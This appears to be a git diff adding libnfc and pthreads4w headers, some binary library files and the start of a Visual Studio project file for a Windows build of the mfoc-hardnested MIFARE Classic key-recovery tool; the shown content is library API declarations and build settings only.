nfc_iso14443b_info nbi;
nfc_iso14443bi_info nii;
nfc_iso14443b2sr_info nsi;
nfc_iso14443b2ct_info nci;
nfc_jewel_info nji;
nfc_dep_info ndi;
nfc_barcode_info nti; // "t" for Thinfilm, "b" already used
nfc_iso14443biclass_info nhi; // hid iclass / picopass - nii already used
} nfc_target_info;
/**
* @enum nfc_baud_rate
* @brief NFC baud rate enumeration
*/
typedef enum {
NBR_UNDEFINED = 0,
NBR_106,
NBR_212,
NBR_424,
NBR_847,
} nfc_baud_rate;
/**
* @enum nfc_modulation_type
* @brief NFC modulation type enumeration
*/
typedef enum {
NMT_ISO14443A = 1,
NMT_JEWEL,
NMT_ISO14443B,
NMT_ISO14443BI, // pre-ISO14443B aka ISO/IEC 14443 B' or Type B'
NMT_ISO14443B2SR, // ISO14443-2B ST SRx
NMT_ISO14443B2CT, // ISO14443-2B ASK CTx
NMT_FELICA,
NMT_DEP,
NMT_BARCODE, // Thinfilm NFC Barcode
NMT_ISO14443BICLASS, // HID iClass 14443B mode
NMT_END_ENUM = NMT_ISO14443BICLASS, // dummy for sizing - always should alias last
} nfc_modulation_type;
/**
* @enum nfc_mode
* @brief NFC mode type enumeration
*/
typedef enum {
N_TARGET,
N_INITIATOR,
} nfc_mode;
/**
* @struct nfc_modulation
* @brief NFC modulation structure
*/
typedef struct {
nfc_modulation_type nmt;
nfc_baud_rate nbr;
} nfc_modulation;
/**
* @struct nfc_target
* @brief NFC target structure
*/
typedef struct {
nfc_target_info nti;
nfc_modulation nm;
} nfc_target;
// Reset struct alignment to default
# pragma pack()
#endif // _LIBNFC_TYPES_H_

226
src/include/nfc/nfc.h Normal file
View File

@ -0,0 +1,226 @@
/*-
* Free/Libre Near Field Communication (NFC) library
*
* Libnfc historical contributors:
* Copyright (C) 2009 Roel Verdult
* Copyright (C) 2009-2013 Romuald Conty
* Copyright (C) 2010-2012 Romain Tartière
* Copyright (C) 2010-2013 Philippe Teuwen
* Copyright (C) 2012-2013 Ludovic Rousseau
* See AUTHORS file for a more comprehensive list of contributors.
* Additional contributors of this file:
*
* This program is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
/**
* @file nfc.h
* @brief libnfc interface
*
* Provide all useful functions (API) to handle NFC devices.
*/
#ifndef _LIBNFC_H_
# define _LIBNFC_H_
# include <stdint.h>
# include <stdbool.h>
# ifdef _WIN32
/* Windows platform */
# ifndef _WINDLL
/* CMake compilation */
# ifdef nfc_EXPORTS
# define NFC_EXPORT __declspec(dllexport)
# else
/* nfc_EXPORTS */
# define NFC_EXPORT __declspec(dllimport)
# endif
/* nfc_EXPORTS */
# else
/* _WINDLL */
/* Manual makefile */
# define NFC_EXPORT
# endif
/* _WINDLL */
# else
/* _WIN32 */
# define NFC_EXPORT
# endif
/* _WIN32 */
# include <nfc/nfc-types.h>
# ifndef __has_attribute
# define __has_attribute(x) 0
# endif
# if __has_attribute(nonnull) || defined(__GNUC__)
# define __has_attribute_nonnull 1
# endif
# if __has_attribute_nonnull
# define ATTRIBUTE_NONNULL( param ) __attribute__((nonnull (param)))
# else
# define ATTRIBUTE_NONNULL( param )
# endif
# ifdef __cplusplus
extern "C" {
# endif // __cplusplus
/* Library initialization/deinitialization */
NFC_EXPORT void nfc_init(nfc_context **context) ATTRIBUTE_NONNULL(1);
NFC_EXPORT void nfc_exit(nfc_context *context) ATTRIBUTE_NONNULL(1);
NFC_EXPORT int nfc_register_driver(const nfc_driver *driver);
/* NFC Device/Hardware manipulation */
NFC_EXPORT nfc_device *nfc_open(nfc_context *context, const nfc_connstring connstring) ATTRIBUTE_NONNULL(1);
NFC_EXPORT void nfc_close(nfc_device *pnd);
NFC_EXPORT int nfc_abort_command(nfc_device *pnd);
NFC_EXPORT size_t nfc_list_devices(nfc_context *context, nfc_connstring connstrings[], size_t connstrings_len) ATTRIBUTE_NONNULL(1);
NFC_EXPORT int nfc_idle(nfc_device *pnd);
/* NFC initiator: act as "reader" */
NFC_EXPORT int nfc_initiator_init(nfc_device *pnd);
NFC_EXPORT int nfc_initiator_init_secure_element(nfc_device *pnd);
NFC_EXPORT int nfc_initiator_select_passive_target(nfc_device *pnd, const nfc_modulation nm, const uint8_t *pbtInitData, const size_t szInitData, nfc_target *pnt);
NFC_EXPORT int nfc_initiator_list_passive_targets(nfc_device *pnd, const nfc_modulation nm, nfc_target ant[], const size_t szTargets);
NFC_EXPORT int nfc_initiator_poll_target(nfc_device *pnd, const nfc_modulation *pnmTargetTypes, const size_t szTargetTypes, const uint8_t uiPollNr, const uint8_t uiPeriod, nfc_target *pnt);
NFC_EXPORT int nfc_initiator_select_dep_target(nfc_device *pnd, const nfc_dep_mode ndm, const nfc_baud_rate nbr, const nfc_dep_info *pndiInitiator, nfc_target *pnt, const int timeout);
NFC_EXPORT int nfc_initiator_poll_dep_target(nfc_device *pnd, const nfc_dep_mode ndm, const nfc_baud_rate nbr, const nfc_dep_info *pndiInitiator, nfc_target *pnt, const int timeout);
NFC_EXPORT int nfc_initiator_deselect_target(nfc_device *pnd);
NFC_EXPORT int nfc_initiator_transceive_bytes(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTx, uint8_t *pbtRx, const size_t szRx, int timeout);
NFC_EXPORT int nfc_initiator_transceive_bits(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTxBits, const uint8_t *pbtTxPar, uint8_t *pbtRx, const size_t szRx, uint8_t *pbtRxPar);
NFC_EXPORT int nfc_initiator_transceive_bytes_timed(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTx, uint8_t *pbtRx, const size_t szRx, uint32_t *cycles);
NFC_EXPORT int nfc_initiator_transceive_bits_timed(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTxBits, const uint8_t *pbtTxPar, uint8_t *pbtRx, const size_t szRx, uint8_t *pbtRxPar, uint32_t *cycles);
NFC_EXPORT int nfc_initiator_target_is_present(nfc_device *pnd, const nfc_target *pnt);
/* NFC target: act as tag (i.e. MIFARE Classic) or NFC target device. */
NFC_EXPORT int nfc_target_init(nfc_device *pnd, nfc_target *pnt, uint8_t *pbtRx, const size_t szRx, int timeout);
NFC_EXPORT int nfc_target_send_bytes(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTx, int timeout);
NFC_EXPORT int nfc_target_receive_bytes(nfc_device *pnd, uint8_t *pbtRx, const size_t szRx, int timeout);
NFC_EXPORT int nfc_target_send_bits(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTxBits, const uint8_t *pbtTxPar);
NFC_EXPORT int nfc_target_receive_bits(nfc_device *pnd, uint8_t *pbtRx, const size_t szRx, uint8_t *pbtRxPar);
/* Error reporting */
NFC_EXPORT const char *nfc_strerror(const nfc_device *pnd);
NFC_EXPORT int nfc_strerror_r(const nfc_device *pnd, char *buf, size_t buflen);
NFC_EXPORT void nfc_perror(const nfc_device *pnd, const char *s);
NFC_EXPORT int nfc_device_get_last_error(const nfc_device *pnd);
/* Special data accessors */
NFC_EXPORT const char *nfc_device_get_name(nfc_device *pnd);
NFC_EXPORT const char *nfc_device_get_connstring(nfc_device *pnd);
NFC_EXPORT int nfc_device_get_supported_modulation(nfc_device *pnd, const nfc_mode mode, const nfc_modulation_type **const supported_mt);
NFC_EXPORT int nfc_device_get_supported_baud_rate(nfc_device *pnd, const nfc_modulation_type nmt, const nfc_baud_rate **const supported_br);
NFC_EXPORT int nfc_device_get_supported_baud_rate_target_mode(nfc_device *pnd, const nfc_modulation_type nmt, const nfc_baud_rate **const supported_br);
/* Properties accessors */
NFC_EXPORT int nfc_device_set_property_int(nfc_device *pnd, const nfc_property property, const int value);
NFC_EXPORT int nfc_device_set_property_bool(nfc_device *pnd, const nfc_property property, const bool bEnable);
/* Misc. functions */
NFC_EXPORT void iso14443a_crc(uint8_t *pbtData, size_t szLen, uint8_t *pbtCrc);
NFC_EXPORT void iso14443a_crc_append(uint8_t *pbtData, size_t szLen);
NFC_EXPORT void iso14443b_crc(uint8_t *pbtData, size_t szLen, uint8_t *pbtCrc);
NFC_EXPORT void iso14443b_crc_append(uint8_t *pbtData, size_t szLen);
NFC_EXPORT uint8_t *iso14443a_locate_historical_bytes(uint8_t *pbtAts, size_t szAts, size_t *pszTk);
NFC_EXPORT void nfc_free(void *p);
NFC_EXPORT const char *nfc_version(void);
NFC_EXPORT int nfc_device_get_information_about(nfc_device *pnd, char **buf);
/* String converter functions */
NFC_EXPORT const char *str_nfc_modulation_type(const nfc_modulation_type nmt);
NFC_EXPORT const char *str_nfc_baud_rate(const nfc_baud_rate nbr);
NFC_EXPORT int str_nfc_target(char **buf, const nfc_target *pnt, bool verbose);
/* Error codes */
/** @ingroup error
* @hideinitializer
* Success (no error)
*/
#define NFC_SUCCESS 0
/** @ingroup error
* @hideinitializer
* Input / output error, device may not be usable anymore without re-open it
*/
#define NFC_EIO -1
/** @ingroup error
* @hideinitializer
* Invalid argument(s)
*/
#define NFC_EINVARG -2
/** @ingroup error
* @hideinitializer
* Operation not supported by device
*/
#define NFC_EDEVNOTSUPP -3
/** @ingroup error
* @hideinitializer
* No such device
*/
#define NFC_ENOTSUCHDEV -4
/** @ingroup error
* @hideinitializer
* Buffer overflow
*/
#define NFC_EOVFLOW -5
/** @ingroup error
* @hideinitializer
* Operation timed out
*/
#define NFC_ETIMEOUT -6
/** @ingroup error
* @hideinitializer
* Operation aborted (by user)
*/
#define NFC_EOPABORTED -7
/** @ingroup error
* @hideinitializer
* Not (yet) implemented
*/
#define NFC_ENOTIMPL -8
/** @ingroup error
* @hideinitializer
* Target released
*/
#define NFC_ETGRELEASED -10
/** @ingroup error
* @hideinitializer
* Error while RF transmission
*/
#define NFC_ERFTRANS -20
/** @ingroup error
* @hideinitializer
* MIFARE Classic: authentication failed
*/
#define NFC_EMFCAUTHFAIL -30
/** @ingroup error
* @hideinitializer
* Software error (allocation, file/pipe creation, etc.)
*/
#define NFC_ESOFT -80
/** @ingroup error
* @hideinitializer
* Device's internal chip error
*/
#define NFC_ECHIP -90
# ifdef __cplusplus
}
# endif // __cplusplus
#endif // _LIBNFC_H_

1228
src/include/pthread.h Normal file

File diff suppressed because it is too large Load Diff

235
src/include/sched.h Normal file
View File

@ -0,0 +1,235 @@
/*
* Module: sched.h
*
* Purpose:
* Provides an implementation of POSIX realtime extensions
* as defined in
*
* POSIX 1003.1b-1993 (POSIX.1b)
*
* --------------------------------------------------------------------------
*
* Pthreads4w - POSIX Threads for Windows
* Copyright 1998 John E. Bossom
* Copyright 1999-2018, Pthreads4w contributors
*
* Homepage: https://sourceforge.net/projects/pthreads4w/
*
* The current list of contributors is contained
* in the file CONTRIBUTORS included with the source
* code distribution. The list can also be seen at the
* following World Wide Web location:
*
* https://sourceforge.net/p/pthreads4w/wiki/Contributors/
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if !defined(_SCHED_H)
#define _SCHED_H
#define __SCHED_H_SOURCED__
#include <_ptw32.h>
/* We need a typedef for pid_t, (and POSIX requires <sched.h> to
* define it, as it is defined in <sys/types.h>, but it does NOT
* sanction exposure of everything from <sys/types.h>); there is
* no pid_t in Windows anyway, (except that MinGW does define it
* in their <sys/types.h>), so just provide a suitable typedef,
* but note that we must do so cautiously, to avoid a typedef
* conflict if MinGW's <sys/types.h> is also #included:
*/
#if ! defined __MINGW32__ || ! defined __have_typedef_pid_t
# if defined __MINGW64__
typedef __int64 pid_t;
# else
typedef int pid_t;
#endif
#if __GNUC__ < 4
/* GCC v4.0 and later, (as used by MinGW), allows us to repeat a
* typedef, provided every duplicate is consistent; only set this
* multiple definition guard when we cannot be certain that it is
* permissable to repeat typedefs.
*/
#define __have_typedef_pid_t 1
#endif
#endif
/* POSIX.1-1993 says that <sched.h> WILL expose all of <time.h>
*/
#undef __SCHED_H_SOURCED__
#if _POSIX_C_SOURCE >= 200112L
/* POSIX.1-2001 and later revises this to say only that it MAY do so;
* only struct timespec, and associated time_t are actually required,
* so prefer to be selective; (MinGW.org's <time.h> offers an option
* for selective #inclusion, when __SCHED_H_SOURCED__ is defined):
*/
#define __SCHED_H_SOURCED__
#define __need_struct_timespec
#define __need_time_t
#endif
#include <time.h>
#if defined __MINGW64__ || _MSC_VER >= 1900
/* These are known to define struct timespec, when <time.h> has been
* #included, but may not, (probably don't), follow the convention of
* defining __struct_timespec_defined, as adopted by MinGW.org; for
* these cases, we unconditionally assume that struct timespec has
* been defined, otherwise, if MinGW.org's criterion has not been
* satisfied...
*/
#elif ! defined __struct_timespec_defined
# ifndef _TIMESPEC_DEFINED
# define _TIMESPEC_DEFINED
struct timespec
{ /* ...we fall back on this explicit definition.
*/
time_t tv_sec;
int tv_nsec;
};
# endif
#endif
/*
* Microsoft VC++6.0 lacks these *_PTR types
*/
#if defined(_MSC_VER) && _MSC_VER < 1300 && !defined (__PTW32_HAVE_DWORD_PTR)
typedef unsigned long ULONG_PTR;
typedef ULONG_PTR DWORD_PTR;
#endif
/* Thread scheduling policies */
enum
{ SCHED_OTHER = 0,
SCHED_FIFO,
SCHED_RR,
SCHED_MIN = SCHED_OTHER,
SCHED_MAX = SCHED_RR
};
struct sched_param
{ int sched_priority;
};
/*
* CPU affinity
*
* cpu_set_t:
* Considered opaque but cannot be an opaque pointer due to the need for
* compatibility with GNU systems and sched_setaffinity() et.al., which
* include the cpusetsize parameter "normally set to sizeof(cpu_set_t)".
*
* FIXME: These are GNU, and NOT specified by POSIX; maybe consider
* occluding them within a _GNU_SOURCE (or similar) feature test.
*/
#define CPU_SETSIZE (sizeof(size_t)*8)
#define CPU_COUNT(setptr) (_sched_affinitycpucount(setptr))
#define CPU_ZERO(setptr) (_sched_affinitycpuzero(setptr))
#define CPU_SET(cpu, setptr) (_sched_affinitycpuset((cpu),(setptr)))
#define CPU_CLR(cpu, setptr) (_sched_affinitycpuclr((cpu),(setptr)))
#define CPU_ISSET(cpu, setptr) (_sched_affinitycpuisset((cpu),(setptr)))
#define CPU_AND(destsetptr, srcset1ptr, srcset2ptr) (_sched_affinitycpuand((destsetptr),(srcset1ptr),(srcset2ptr)))
#define CPU_OR(destsetptr, srcset1ptr, srcset2ptr) (_sched_affinitycpuor((destsetptr),(srcset1ptr),(srcset2ptr)))
#define CPU_XOR(destsetptr, srcset1ptr, srcset2ptr) \
(_sched_affinitycpuxor((destsetptr),(srcset1ptr),(srcset2ptr)))
#define CPU_EQUAL(set1ptr, set2ptr) (_sched_affinitycpuequal((set1ptr),(set2ptr)))
typedef union
{ char cpuset[CPU_SETSIZE/8];
size_t _align;
} cpu_set_t;
__PTW32_BEGIN_C_DECLS
__PTW32_DLLPORT int __PTW32_CDECL sched_yield (void);
__PTW32_DLLPORT int __PTW32_CDECL sched_get_priority_min (int policy);
__PTW32_DLLPORT int __PTW32_CDECL sched_get_priority_max (int policy);
/* FIXME: this declaration of sched_setscheduler() is NOT as prescribed
* by POSIX; it lacks const struct sched_param * as third argument.
*/
__PTW32_DLLPORT int __PTW32_CDECL sched_setscheduler (pid_t pid, int policy);
/* FIXME: In addition to the above five functions, POSIX also requires:
*
* int sched_getparam (pid_t, struct sched_param *);
* int sched_setparam (pid_t, const struct sched_param *);
*
* both of which are conspicuous by their absence here!
*/
/* Compatibility with Linux - not standard in POSIX
* FIXME: consider occluding within a _GNU_SOURCE (or similar) feature test.
*/
__PTW32_DLLPORT int __PTW32_CDECL sched_setaffinity (pid_t pid, size_t cpusetsize, cpu_set_t *mask);
__PTW32_DLLPORT int __PTW32_CDECL sched_getaffinity (pid_t pid, size_t cpusetsize, cpu_set_t *mask);
/*
* Support routines and macros for cpu_set_t
*/
__PTW32_DLLPORT int __PTW32_CDECL _sched_affinitycpucount (const cpu_set_t *set);
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuzero (cpu_set_t *pset);
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuset (int cpu, cpu_set_t *pset);
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuclr (int cpu, cpu_set_t *pset);
__PTW32_DLLPORT int __PTW32_CDECL _sched_affinitycpuisset (int cpu, const cpu_set_t *pset);
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuand(cpu_set_t *pdestset, const cpu_set_t *psrcset1, const cpu_set_t *psrcset2);
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuor(cpu_set_t *pdestset, const cpu_set_t *psrcset1, const cpu_set_t *psrcset2);
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuxor(cpu_set_t *pdestset, const cpu_set_t *psrcset1, const cpu_set_t *psrcset2);
__PTW32_DLLPORT int __PTW32_CDECL _sched_affinitycpuequal (const cpu_set_t *pset1, const cpu_set_t *pset2);
/* Note that this macro returns ENOTSUP rather than ENOSYS, as
* might be expected. However, returning ENOSYS should mean that
* sched_get_priority_{min,max} are not implemented as well as
* sched_rr_get_interval. This is not the case, since we just
* don't support round-robin scheduling. Therefore I have chosen
* to return the same value as sched_setscheduler when SCHED_RR
* is passed to it.
*
* FIXME: POSIX requires this to be defined as a function; this
* macro implementation is permitted IN ADDITION to the function,
* but the macro alone is not POSIX compliant! Worse still, it
* imposes a requirement on the caller, to ensure that both the
* declaration of errno, and the definition of ENOTSUP, are in
* scope at point of call, (which it may wish to do anyway, but
* POSIX imposes no such constraint)!
*/
#define sched_rr_get_interval(_pid, _interval) \
( errno = ENOTSUP, (int) -1 )
__PTW32_END_C_DECLS
#undef __SCHED_H_SOURCED__
#endif /* !_SCHED_H */

116
src/include/semaphore.h Normal file
View File

@ -0,0 +1,116 @@
/*
* Module: semaphore.h
*
* Purpose:
* Semaphores aren't actually part of the PThreads standard.
* They are defined by the POSIX Standard:
*
* POSIX 1003.1b-1993 (POSIX.1b)
*
* --------------------------------------------------------------------------
*
* Pthreads4w - POSIX Threads for Windows
* Copyright 1998 John E. Bossom
* Copyright 1999-2018, Pthreads4w contributors
*
* Homepage: https://sourceforge.net/projects/pthreads4w/
*
* The current list of contributors is contained
* in the file CONTRIBUTORS included with the source
* code distribution. The list can also be seen at the
* following World Wide Web location:
*
* https://sourceforge.net/p/pthreads4w/wiki/Contributors/
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if !defined( SEMAPHORE_H )
#define SEMAPHORE_H
/* FIXME: POSIX.1 says that _POSIX_SEMAPHORES should be defined
* in <unistd.h>, not here; for later POSIX.1 versions, its value
* should match the corresponding _POSIX_VERSION number, but in
* the case of POSIX.1b-1993, the value is unspecified.
*
* Notwithstanding the above, since POSIX semaphores, (and indeed
* having any <unistd.h> to #include), are not a standard feature
* on MS-Windows, it is convenient to retain this definition here;
* we may consider adding a hook, to make it selectively available
* for inclusion by <unistd.h>, in those cases (e.g. MinGW) where
* <unistd.h> is provided.
*/
#define _POSIX_SEMAPHORES
/* Internal macros, common to the public interfaces for various
* pthreads-win32 components, are defined in <_ptw32.h>; we must
* include them here.
*/
#include <_ptw32.h>
/* The sem_timedwait() function was added in POSIX.1-2001; it
* requires struct timespec to be defined, at least as a partial
* (a.k.a. incomplete) data type. Forward declare it as such,
* then include <time.h> selectively, to acquire a complete
* definition, (if available).
*/
struct timespec;
#define __need_struct_timespec
#include <time.h>
/* The data type used to represent our semaphore implementation,
* as required by POSIX.1; FIXME: consider renaming the underlying
* structure tag, to avoid possible pollution of user namespace.
*/
typedef struct sem_t_ * sem_t;
/* POSIX.1b (and later) mandates SEM_FAILED as the value to be
* returned on failure of sem_open(); (our implementation is a
* stub, which will always return this).
*/
#define SEM_FAILED (sem_t *)(-1)
__PTW32_BEGIN_C_DECLS
/* Function prototypes: some are implemented as stubs, which
* always fail; (FIXME: identify them).
*/
__PTW32_DLLPORT int __PTW32_CDECL sem_init (sem_t * sem,
int pshared,
unsigned int value);
__PTW32_DLLPORT int __PTW32_CDECL sem_destroy (sem_t * sem);
__PTW32_DLLPORT int __PTW32_CDECL sem_trywait (sem_t * sem);
__PTW32_DLLPORT int __PTW32_CDECL sem_wait (sem_t * sem);
__PTW32_DLLPORT int __PTW32_CDECL sem_timedwait (sem_t * sem,
const struct timespec * abstime);
__PTW32_DLLPORT int __PTW32_CDECL sem_post (sem_t * sem);
__PTW32_DLLPORT int __PTW32_CDECL sem_post_multiple (sem_t * sem,
int count);
__PTW32_DLLPORT sem_t * __PTW32_CDECL sem_open (const char *, int, ...);
__PTW32_DLLPORT int __PTW32_CDECL sem_close (sem_t * sem);
__PTW32_DLLPORT int __PTW32_CDECL sem_unlink (const char * name);
__PTW32_DLLPORT int __PTW32_CDECL sem_getvalue (sem_t * sem,
int * sval);
__PTW32_END_C_DECLS
#endif /* !SEMAPHORE_H */

BIN
src/lib/liblzma.lib Normal file

Binary file not shown.

BIN
src/lib/libpthreadVSE3.lib Normal file

Binary file not shown.

BIN
src/lib/libusb.lib Normal file

Binary file not shown.

BIN
src/lib/libusb0.dll Normal file

Binary file not shown.

BIN
src/lib/nfc.dll Normal file

Binary file not shown.

BIN
src/lib/nfc.lib Normal file

Binary file not shown.

181
src/mfoc-hardnested.vcxproj Normal file
View File

@ -0,0 +1,181 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="cmdhfmfhard.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="crapto1.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="crypto1.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="getopt.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_AVX.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions</EnableEnhancedInstructionSet>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_AVX2.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions2</EnableEnhancedInstructionSet>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_AVX512.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mavx512f %(AdditionalOptions)</AdditionalOptions>
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions512</EnableEnhancedInstructionSet>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_SSE2.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions</EnableEnhancedInstructionSet>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX2.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions2</EnableEnhancedInstructionSet>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX512.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mavx512f %(AdditionalOptions)</AdditionalOptions>
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions512</EnableEnhancedInstructionSet>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_SSE2.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bruteforce.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="hardnested\hardnested_cpu_dispatch.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="hardnested\tables.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="mfoc.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="mifare.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="nfc-utils.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="parity.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="stdlib.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="ui.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="util.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="util_posix.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="bf_bench_data.h" />
<ClInclude Include="cmdhfmfhard.h" />
<ClInclude Include="config_w.h" />
<ClInclude Include="crapto1.h" />
<ClInclude Include="getopt.h" />
<ClInclude Include="hardnested\hardnested_bruteforce.h" />
<ClInclude Include="hardnested\hardnested_cpu_dispatch.h" />
<ClInclude Include="hardnested\tables.h" />
<ClInclude Include="mfoc.h" />
<ClInclude Include="mifare.h" />
<ClInclude Include="nfc-utils.h" />
<ClInclude Include="parity.h" />
<ClInclude Include="slre.h" />
<ClInclude Include="ui.h" />
<ClInclude Include="unistd.h" />
<ClInclude Include="util.h" />
<ClInclude Include="util_posix.h" />
<ClInclude Include="windows.h" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
